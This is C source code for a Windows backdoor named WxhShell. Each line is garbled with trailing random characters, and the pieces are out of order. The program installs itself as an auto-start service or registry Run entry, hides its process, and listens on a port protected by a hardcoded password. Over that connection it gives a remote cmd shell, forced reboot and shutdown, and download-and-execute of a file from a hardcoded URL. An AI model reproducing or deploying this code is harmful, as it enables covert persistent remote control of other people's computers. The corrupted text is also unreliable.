    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J'SZ  
    else { ^S UPi  
    closesocket(wsh); ZUVA EH%  
    ExitThread(0);  \N!AXD  
    } <acUKfpY  
    break; 8S mCpg  
    } %r%Mlj:#  
  // 获取shell OjJXysslXO  
  case 's': { hyCh9YOu)  
    CmdShell(wsh); \>:CvTzF  
    closesocket(wsh); 5!DBmAB  
    ExitThread(0); 8\^}~s$$A  
    break; FbaEB RM  
  } ~]pE'\D7Ad  
  // 退出 WN?O'E=2  
  case 'x': { WQ[_hg|k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m?pstuUK(  
    CloseIt(wsh); P&9Gga^I  
    break; AsAT_yv#  
    } Bg5Wba%NK  
  // 离开 y.#")IAF  
  case 'q': { 01r 8$+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *.sVr7=j  
    closesocket(wsh); k7?N ?7w  
    WSACleanup(); [ oL.+  
    exit(1); @ezH'y-v  
    break; WN{ 9  
        } ?t/~lv  
  } @&%'4j&+  
  } _/uFsYC  
;> _$`  
  // 提示信息 uw [<5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rai3<_W<  
} 8YZbP5'  
  } & -{DfNKc  
dx;Ysn0-  
  return; ,sA[)wP{  
} !/}O>v~o  
|X0Y-  
// shell模块句柄 mL{B!Q  
int CmdShell(SOCKET sock) .z)%)PVV  
{ PZE0}>z  
STARTUPINFO si; MHh~vy'HB5  
ZeroMemory(&si,sizeof(si)); =NnNN'}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CK,7^U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )2V:  
PROCESS_INFORMATION ProcessInfo; eoai(&o0$  
char cmdline[]="cmd"; W=#:.Xj[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *of3:w  
  return 0; JRSSn]pw  
} 19O,a#{KHf  
&xa(BX%,c  
// 自身启动模式 .q%WuQw  
int StartFromService(void) B8B; y^b>i  
{ gCioq.  
typedef struct 4SlADvGl  
{ :YXX8|>  
  DWORD ExitStatus; AG!w4Ky`  
  DWORD PebBaseAddress; Cnbz=z  
  DWORD AffinityMask; u+'tfFds&  
  DWORD BasePriority; IPgt|if^  
  ULONG UniqueProcessId; .QA }u ,EN  
  ULONG InheritedFromUniqueProcessId; tNGp\~  
}   PROCESS_BASIC_INFORMATION; wF|fK4F  
NWM8[dI  
PROCNTQSIP NtQueryInformationProcess; V n*  
xnmmXtk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JHz [7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pQshUm"_  
S `#w+C#EW  
  HANDLE             hProcess; -j73Wz  
  PROCESS_BASIC_INFORMATION pbi; G]+&!4  
]|MEx{BG-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .Xce9C0SW  
  if(NULL == hInst ) return 0; ( M7pT  
x|mqL-Q f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IB[)TZ2m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Jzp Sw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B[V+ND'(  
p1&b!*o-&  
  if (!NtQueryInformationProcess) return 0; BReJ!|{m}  
4:|S` jm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h{AII  
  if(!hProcess) return 0; OY:,D  
Zn ''_fjh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5[A@ gw0u  
~ vJ,`?  
  CloseHandle(hProcess); \De{9v  
c- }X_)U }  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c17_2 @N  
if(hProcess==NULL) return 0; _tBTE%sO  
S<4c r  
HMODULE hMod;  /% M/  
char procName[255]; @^T1XX  
unsigned long cbNeeded; _~piZmkG$  
nHm}zOLc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); So0f)`A  
kdl:Wt*4o  
  CloseHandle(hProcess); SzjkI+-$:  
#7MUJY+ 9  
if(strstr(procName,"services")) return 1; // 以服务启动 ?)u@Rf9>  
f6p-s y>  
  return 0; // 注册表启动 %d?cP}V  
} .7l&1C)i  
*g6n  
// 主模块 qWODs  
int StartWxhshell(LPSTR lpCmdLine) Z@3i$8  
{ ynE)Xdh  
  SOCKET wsl; kP-3"ACG  
BOOL val=TRUE; 7PtN?;rP  
  int port=0; ^R# E:3e  
  struct sockaddr_in door; K2J \awX  
zxC#0@qX07  
  if(wscfg.ws_autoins) Install(); E;+O($bA  
LN@F+CyDc  
port=atoi(lpCmdLine); |NpP2|4h  
Zg'Q>.:  
if(port<=0) port=wscfg.ws_port; XDFx.)t  
~zJ?H<>  
  WSADATA data; Ib+Y~ XYR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V+VkY3  
4<k9?)~(J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /+@p7FqlE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }Q=!Y>Tc  
  door.sin_family = AF_INET; dvt9u9Vg=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T`5bZu^c  
  door.sin_port = htons(port); Bh;7C@dq  
fSs4ZXC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bT^I"  
closesocket(wsl); %?p1d!  
return 1; ~v6OsH%vx  
} =Ur}~w&H8  
aB7+Tb  
  if(listen(wsl,2) == INVALID_SOCKET) { ][?G/*k  
closesocket(wsl); Ry%Mej:  
return 1; .6`9H 1  
} &(xH$htv1  
  Wxhshell(wsl); i 7x7xtq  
  WSACleanup(); L{h%f4Du#  
vTlwRG=5  
return 0; L#+q]j+  
0tEYU:Qu  
} my4giC2a  
_Ou WB"  
// 以NT服务方式启动  Kfh|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `C$:Yf]%nG  
{ bO'Sgc[]  
DWORD   status = 0; i`dC G[  
  DWORD   specificError = 0xfffffff; w*oQ["SL  
9983aFam  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?e,pN,4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >h k=VyU;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )u/yF*:n  
  serviceStatus.dwWin32ExitCode     = 0; 6^%68N1k  
  serviceStatus.dwServiceSpecificExitCode = 0; dIRm q+d^  
  serviceStatus.dwCheckPoint       = 0; Qj.l:9%  
  serviceStatus.dwWaitHint       = 0; 4KH45|; 3  
~%SH3$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C4~;yhz  
  if (hServiceStatusHandle==0) return; &?*V0luP)  
%jJ>x3$F  
status = GetLastError(); Q 4f/Z  
  if (status!=NO_ERROR) Hhari!R XC  
{ 2@%$;.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <iH`rP#  
    serviceStatus.dwCheckPoint       = 0; x)rM/Kq  
    serviceStatus.dwWaitHint       = 0; {j:hod@-:5  
    serviceStatus.dwWin32ExitCode     = status; W!?7D0q  
    serviceStatus.dwServiceSpecificExitCode = specificError; bpKZ3}U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L"{JRbh[  
    return; ;)!Sp:mHX  
  } ]8 f ms(  
mo[Zb0>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?sMP~RHQ  
  serviceStatus.dwCheckPoint       = 0; 6y6<JR-V2k  
  serviceStatus.dwWaitHint       = 0; ~:3QBMk::  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DsT>3  
} 34d3g  
l,,> & F  
// 处理NT服务事件,比如:启动、停止 pBETA'fY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JWMpPzs  
{ q.2ykL  
switch(fdwControl) 3>R#zJf  
{ %=/)  
case SERVICE_CONTROL_STOP: ~Uxsn@nLr  
  serviceStatus.dwWin32ExitCode = 0; uoXAQ6k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L7V G`h;  
  serviceStatus.dwCheckPoint   = 0; \>7^f 3m  
  serviceStatus.dwWaitHint     = 0; O }(VlR2  
  { ^V#@QPK9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lsy?Ac  
  } GQ9\'z#+  
  return; 7D!u1?]d{  
case SERVICE_CONTROL_PAUSE: KN7n@$8YM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %oq[,h <X  
  break; *X, /7C   
case SERVICE_CONTROL_CONTINUE: @ ]/AjjLt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %Mk0QKzUo  
  break; /ew Ukc8,  
case SERVICE_CONTROL_INTERROGATE: }w1~K'ck}>  
  break; QoG cWJ  
}; 1;mW,l'`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 72oF,42y  
} p\JfFfC  
%5A+V0D0'  
// 标准应用程序主函数 mL_j4=ER@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %YSu8G_t  
{ C@bm  
o]p|-<I Q  
// 获取操作系统版本 |Tm!VFd  
OsIsNt=GetOsVer(); <oo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^9 ePfF)5  
-*m+(7G\  
  // 从命令行安装 FxVZ[R  
  if(strpbrk(lpCmdLine,"iI")) Install(); kn>$lTHQ  
8`fjF/  
  // 下载执行文件 $`- 4Ax4%  
if(wscfg.ws_downexe) { =Q[b'*o7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Nqrmp" ]  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1f8GW  
} hWT[L.>k  
A _XhuQB;d  
if(!OsIsNt) { MHsc+gQiz  
// 如果时win9x,隐藏进程并且设置为注册表启动 TH$N5w%  
HideProc(); E[bd@[N 8  
StartWxhshell(lpCmdLine); !ykx^z  
} 9$|Gfyv  
else ]- 4QNc=  
  if(StartFromService()) NsJ(`zk:  
  // 以服务方式启动 *0>mB  
  StartServiceCtrlDispatcher(DispatchTable); .?!N^_ Ez3  
else V`7FKL@"  
  // 普通方式启动 ^pe{b9c  
  StartWxhshell(lpCmdLine); +{L<? "  
YBP:q2H  
return 0; K!]1oy'V  
} M>>qn_yq4  
,i,q!M{-  
v0ES;  
[w&$|h:;  
=========================================== +C(/ Lyo}  
EB_NK  
d R]Q$CJ  
o`q_wdy?  
YcN!T"w J@  
C,pJ`:P  
" '^FGc  
lME)?LOI  
#include <stdio.h> /M*a,o  
#include <string.h> zdEPDd B  
#include <windows.h> }LijnHH.  
#include <winsock2.h> wlEo"BA  
#include <winsvc.h> sPb=82~z  
#include <urlmon.h> `QUy;%+  
4)<~4 '  
#pragma comment (lib, "Ws2_32.lib") (Gw,2 -A  
#pragma comment (lib, "urlmon.lib") }Iz7l{al   
_+^ 2^TW  
#define MAX_USER   100 // 最大客户端连接数 S9>0t0  
#define BUF_SOCK   200 // sock buffer acw4B5]  
#define KEY_BUFF   255 // 输入 buffer 3,Q^& 1  
#zR bx  
#define REBOOT     0   // 重启 ?x0pe4^If  
#define SHUTDOWN   1   // 关机 q=DN {a:  
h'$ 9C  
#define DEF_PORT   5000 // 监听端口 &09U@uc$  
lZrVY+ D  
#define REG_LEN     16   // 注册表键长度 YTjkPj:  
#define SVC_LEN     80   // NT服务名长度 W":PG68  
`St.+6^J  
// 从dll定义API fS"Hr0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W5'3$,X9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .]9c/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T1r3=Y4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jh.@-  
kee|42E  
// wxhshell配置信息 f7'q-  
struct WSCFG { a+9 *@z2  
  int ws_port;         // 监听端口 AT\qiznvP  
  char ws_passstr[REG_LEN]; // 口令 xGG,2W+z  
  int ws_autoins;       // 安装标记, 1=yes 0=no _` [h,=  
  char ws_regname[REG_LEN]; // 注册表键名 }h}<! s  
  char ws_svcname[REG_LEN]; // 服务名 6Vbzd0dk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W7\&~IWub  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Cb_oS4vM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \AC|?/sH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %c1#lEC2xN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;_(PVo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4 8{vE3JY  
i9D0]3/>  
}; k,uK6$Z  
q;:6_Qr  
// default Wxhshell configuration 2EK%N'H  
struct WSCFG wscfg={DEF_PORT, $ A9%UhV  
    "xuhuanlingzhe", f(eQ+0D  
    1, pMJ1v  
    "Wxhshell", .y&QqxiE  
    "Wxhshell", \G2B?>E;  
            "WxhShell Service", P@]8pIB0d^  
    "Wrsky Windows CmdShell Service", wCHR7X0*b  
    "Please Input Your Password: ", 033T>qY  
  1,  N<L`c/  
  "http://www.wrsky.com/wxhshell.exe", gXH[$guf  
  "Wxhshell.exe" ;=< ^0hxer  
    }; vw)7 !/#  
u?[ q=0.J7  
// 消息定义模块 3F#+~^2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z^9/v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )C.yF)Ql  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3~qR  
char *msg_ws_ext="\n\rExit."; ?~QIALA  
char *msg_ws_end="\n\rQuit."; U5]pi+r  
char *msg_ws_boot="\n\rReboot..."; x5Z-{"  
char *msg_ws_poff="\n\rShutdown..."; )*5G">))p  
char *msg_ws_down="\n\rSave to "; 4TwQO$C  
2nFy`|aA%  
char *msg_ws_err="\n\rErr!"; Y= 7%+WyD  
char *msg_ws_ok="\n\rOK!"; P(>(K{v  
iHp\o=#  
char ExeFile[MAX_PATH]; 4"vaMa  
int nUser = 0; 2F8|I7R  
HANDLE handles[MAX_USER]; ((rv]f{  
int OsIsNt; =]>NDWqpHN  
=9LC<2  
SERVICE_STATUS       serviceStatus; f):~8_0b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R4<lln:[  
z1!6%W_.  
// 函数声明 o y<J6  
int Install(void); 2 /y}a#s  
int Uninstall(void); oR*=|B  
int DownloadFile(char *sURL, SOCKET wsh); K$ v"Uk  
int Boot(int flag); vLO&Lpv  
void HideProc(void); /"ymZI!k\  
int GetOsVer(void); F#{gfh  
int Wxhshell(SOCKET wsl); (Bo bB]~a  
void TalkWithClient(void *cs); ;p ]y)3  
int CmdShell(SOCKET sock); w&BGJYI  
int StartFromService(void); E&B{5/rv  
int StartWxhshell(LPSTR lpCmdLine); to6;?uC+|i  
z\/53Sy<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6TH!vuQ1(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K"2|[5  
p$k\m|t  
// 数据结构和表定义 G]Jz"xH#  
SERVICE_TABLE_ENTRY DispatchTable[] = >x[`;O4  
{ wG8Wez%  
{wscfg.ws_svcname, NTServiceMain}, @S 6u9v  
{NULL, NULL} D^Ys)- d  
}; t!_x(u  
Be}$I_95\P  
// 自我安装 8#` 6M5  
int Install(void) E:nt)Ef,  
{ oH2!5;A|  
  char svExeFile[MAX_PATH]; uvA(Rn  
  HKEY key; PzY)"]g  
  strcpy(svExeFile,ExeFile); T!Sj<,r+j  
vRPS4@9'  
// 如果是win9x系统,修改注册表设为自启动 }xFi& <  
if(!OsIsNt) { -iCcoA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &D#+6M&LK{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +[m8c){  
  RegCloseKey(key); iQ^: ])m>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yW.COWL=)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L<(VG{)Z  
  RegCloseKey(key); Zwe[_z!*D  
  return 0; k*-NsNPw$  
    } 3hq1yyec  
  } ~k'V*ERNSj  
} >m_v5K  
else { dZ :r&Qa  
c#b:3dXx9  
// 如果是NT以上系统,安装为系统服务 ;5 <-)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sygH1|f  
if (schSCManager!=0) ^t'3rft  
{ &C-;Sa4  
  SC_HANDLE schService = CreateService :k46S<RE  
  ( uv4 _:   
  schSCManager, !k~z5z'=py  
  wscfg.ws_svcname, FoPginZ]J  
  wscfg.ws_svcdisp, !;>(i e\  
  SERVICE_ALL_ACCESS, ,2WH/"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , . 9 LL+d  
  SERVICE_AUTO_START, Vos?PqUi 4  
  SERVICE_ERROR_NORMAL, ew#T8F[  
  svExeFile, GoE#Mxhxo  
  NULL, c!&Qj  
  NULL, \Kd7dK9&]  
  NULL, ~"ONAX  
  NULL, bdV3v`  
  NULL t ,qul4y}  
  ); ui'F'"tPz  
  if (schService!=0) >uHS[ _`nM  
  { F ,G,b  
  CloseServiceHandle(schService); Fc0jQ@4=  
  CloseServiceHandle(schSCManager); pH9HK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h'^FrWaU/  
  strcat(svExeFile,wscfg.ws_svcname); N"DY?6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a ]1i/3/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F>:%Cyo0!  
  RegCloseKey(key); ID8k/t!  
  return 0; B[NJ^b|  
    } 1&|Dsrj  
  } 2 X<nn  
  CloseServiceHandle(schSCManager); \Tq "mw9P  
} kqB\xlS7k  
} Ku3!*n_\  
'7nJb6V,0l  
return 1; i+~QDo(Pi  
} Rlw9$/D!Z  
PO ko]@~!i  
// 自我卸载 a'[)9:  
int Uninstall(void) X9'xn 0n;  
{ s!h5hwBY  
  HKEY key; 1<uwU(  
tE!'dpG5)  
if(!OsIsNt) { 0&`}EXe<f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #t5juX9Ho9  
  RegDeleteValue(key,wscfg.ws_regname); b*9e1/]  
  RegCloseKey(key); QAvWJydb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zd>ZY,-5  
  RegDeleteValue(key,wscfg.ws_regname); !cCg/  
  RegCloseKey(key); ^`&HWp  
  return 0; WbzA Jx 5  
  } `I> ], J/  
} !b%,'fy)  
} ||a`fH  
else { T|f_~#?eV  
P`sN&Y~m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gStY8Z!k  
if (schSCManager!=0) 1hNEkpL^a  
{ yv${M u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0^>E`/  
  if (schService!=0) v:P!(`sF  
  { i$#,XFFp~  
  if(DeleteService(schService)!=0) { ;a{rWz1Wm  
  CloseServiceHandle(schService); ,cQ)cY[  
  CloseServiceHandle(schSCManager); DN|vz}s  
  return 0; -I vL+}K  
  } $i&\\QNn  
  CloseServiceHandle(schService); eH=c|m]!P  
  } -q(:%;  
  CloseServiceHandle(schSCManager); L; C|ow^c  
} _z:Qhe  
} $Z7:#cZ Y  
gY\mXM*^  
return 1; {gIEZ{  
} [ i9[Mj  
/$OIlu  
// 从指定url下载文件 ^4hc+sh0D  
int DownloadFile(char *sURL, SOCKET wsh) ,'-?:`hP'  
{ *'^:S#=  
  HRESULT hr; jmPp-} tS7  
char seps[]= "/"; [Ye5Y?  
char *token; /a%KS3>V*  
char *file; Qy%xL9  
char myURL[MAX_PATH]; ZW2s[p r  
char myFILE[MAX_PATH]; -t b;igv  
tD^a5qPh  
strcpy(myURL,sURL); ^HoJ.oC/  
  token=strtok(myURL,seps); 5|m9:Hv[#  
  while(token!=NULL) J]]\&MtaO  
  { #]5)]LF1q  
    file=token; S W-0h4  
  token=strtok(NULL,seps); ;Yu>82o.:  
  } -~0'a  
GsRt5?X/*  
GetCurrentDirectory(MAX_PATH,myFILE); a?\ `  
strcat(myFILE, "\\"); )Jz!Ut  
strcat(myFILE, file); eb7UoZw  
  send(wsh,myFILE,strlen(myFILE),0); .6I%64m  
send(wsh,"...",3,0); G%`cJdM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V"U~Q=`K  
  if(hr==S_OK) `NoCH[$!+  
return 0; I9:%@g]uYw  
else *hl<Y,W(  
return 1; =KW|#]RB^  
k^yy$^=<  
} tpz=} q  
^X(_zinN"  
// 系统电源模块 [sptU3,2U  
int Boot(int flag) :`j"Sj !t3  
{ s3y}Yg  
  HANDLE hToken; YL!oF^XO  
  TOKEN_PRIVILEGES tkp; *q[^Q'jnN  
Y/!0Q6<[2Y  
  if(OsIsNt) { iQ0&W0D]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 95% :AQLV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X &09  
    tkp.PrivilegeCount = 1; aEZJNWv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p?KCVvx$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @+Pf[J41  
if(flag==REBOOT) { I$F\(]"@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (F_7%!g1d  
  return 0; o+R. u}|  
}  1dXh\r_n  
else { .>a$g7Rj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C!I\Gh  
  return 0; L;kyAX@^  
} <|wmjW/ D  
  }  MbM :3  
  else { ),z,LU Yf  
if(flag==REBOOT) { 2@4MC`&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bv_AJ4gS  
  return 0; 1w6.   
} mURX I'JkX  
else { OHQ3+WJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~'|&{-<  
  return 0; bwT"$Ee  
} WoJ]@Me8  
} kv[OW"8t  
N/`g?B[  
return 1; ..]B9M.  
} c '/2F0y  
b<48#Qy~l  
// win9x进程隐藏模块 ,\Z8*Jr3Q  
void HideProc(void) Lp~c  
{ Y&~5k;>'_  
V}p*HB@:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9n-RXVL+  
  if ( hKernel != NULL ) <`^>bv9  
  { )vxVg*.Ee  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 30e(4@!4vW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vBV"i9n   
    FreeLibrary(hKernel); mq>*W' M  
  } eDvXU_yA  
(d1V1t2r6  
return; T9,lblU Q  
} G`&'Bt{Z*  
NN?Bi=&9  
// 获取操作系统版本 E]D4']  
int GetOsVer(void) BZ8h*|uT"  
{ 7ZrJ#n8?ih  
  OSVERSIONINFO winfo; g=)U_DPRi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {"Y]/6  
  GetVersionEx(&winfo); <%T%NjNPQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tauP1&%oH{  
  return 1; :6qUSE  
  else {5?!`<fF  
  return 0; IiQWs1  
} Yf%[6Y{  
2-/YYe;C  
// 客户端句柄模块 }d$vcEI$3  
int Wxhshell(SOCKET wsl) (2&K (1.Y  
{ $=QNGC2+  
  SOCKET wsh; L|vaTidc0  
  struct sockaddr_in client; Bx_8@+  
  DWORD myID; 1WZKQeOo  
mk$Yoz  
  while(nUser<MAX_USER) X*D5y8<  
{ Z.Lx^h+U  
  int nSize=sizeof(client); WcQZFtW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .l" _ K  
  if(wsh==INVALID_SOCKET) return 1; rQAbN6  
]&; G\9$y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (*c`<|)  
if(handles[nUser]==0) -#:Y+"'  
  closesocket(wsh); !^Qb[ev  
else |O #wdnYW  
  nUser++; !)=#p9  
  } \ltErd-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ji)a%j1V9  
CgaB)`.  
  return 0; 6-Vl#Lyb  
} Ra*k  
-b Ipmp?  
// 关闭 socket GNj/jU<o!  
void CloseIt(SOCKET wsh) 'ocwXyP,  
{ ,L8I7O}A;  
closesocket(wsh); cftn`:(&8  
nUser--; !~VR|n-  
ExitThread(0); mDe+ M {/  
} Ynt&cdK9  
+$an*k9  
// 客户端请求句柄 5Od(J5`  
void TalkWithClient(void *cs) '8((;N|I^  
{ }*{\)7g  
UeC%Wa<[  
  SOCKET wsh=(SOCKET)cs; P+D|_3j  
  char pwd[SVC_LEN]; C'xU=OnA8  
  char cmd[KEY_BUFF]; Mf,Mcvs  
char chr[1]; h1D~AgZOVj  
int i,j; *]DJAF]  
XJV3oj   
  while (nUser < MAX_USER) { 2Q;Y@%G  
HtS1N}@  
if(wscfg.ws_passstr) { rVIb'sa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /s-jR]#VA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *RqO3=  
  //ZeroMemory(pwd,KEY_BUFF); {{#a%O  
      i=0; LU 5 `!0m  
  while(i<SVC_LEN) { hBs>2u|z9  
K.sj"#D  
  // 设置超时 n=Z[w5  
  fd_set FdRead; GurE7J^=  
  struct timeval TimeOut; [{fF)D<tC  
  FD_ZERO(&FdRead); WhVmycdv  
  FD_SET(wsh,&FdRead); a)yNXn8E_  
  TimeOut.tv_sec=8; a5Acqa  
  TimeOut.tv_usec=0; U+3PqWB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t=@Jw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); { <ao4w6B  
"ZK5P&d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  *<h  
  pwd=chr[0]; <8xP-(wk;  
  if(chr[0]==0xd || chr[0]==0xa) { 1V?Sj  
  pwd=0; 6DiA2'{f  
  break; D2wgSrY  
  } `'tw5}  
  i++; D;#Yn M3  
    } R'a5,zEo/  
F.* snF  
  // 如果是非法用户,关闭 socket ;V}FbWz^v6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IbNTdg]/F`  
} xF:poi  
zI*/u)48  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K]=>F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t+TbCe  
`peJ s~V  
while(1) { IUBps0.T\  
wx?{|  
  ZeroMemory(cmd,KEY_BUFF); G5eLs  
7>e~i,  
      // 自动支持客户端 telnet标准   Y=wP3q  
  j=0; @_weMz8}  
  while(j<KEY_BUFF) { yK2*~T,6@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7{/:,  
  cmd[j]=chr[0]; rF j)5~  
  if(chr[0]==0xa || chr[0]==0xd) { '<E8< bi  
  cmd[j]=0; 4 d1Y\  
  break; F|ML$  
  } S:GUR6g8D  
  j++; do?n /<@o  
    } R?e7#HsJ  
cB"F1~z  
  // 下载文件 o3[sF  
  if(strstr(cmd,"http://")) { cX]{RVZo-/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q)|LiCR,  
  if(DownloadFile(cmd,wsh)) GLcZ=6)"'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '9F{.]  
  else z E7ocul  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e hB1`%@  
  } QvQf@o  
  else { }4ghT(C}$  
qYrGe  
    switch(cmd[0]) { $T%<'=u|E  
  zSM7x  
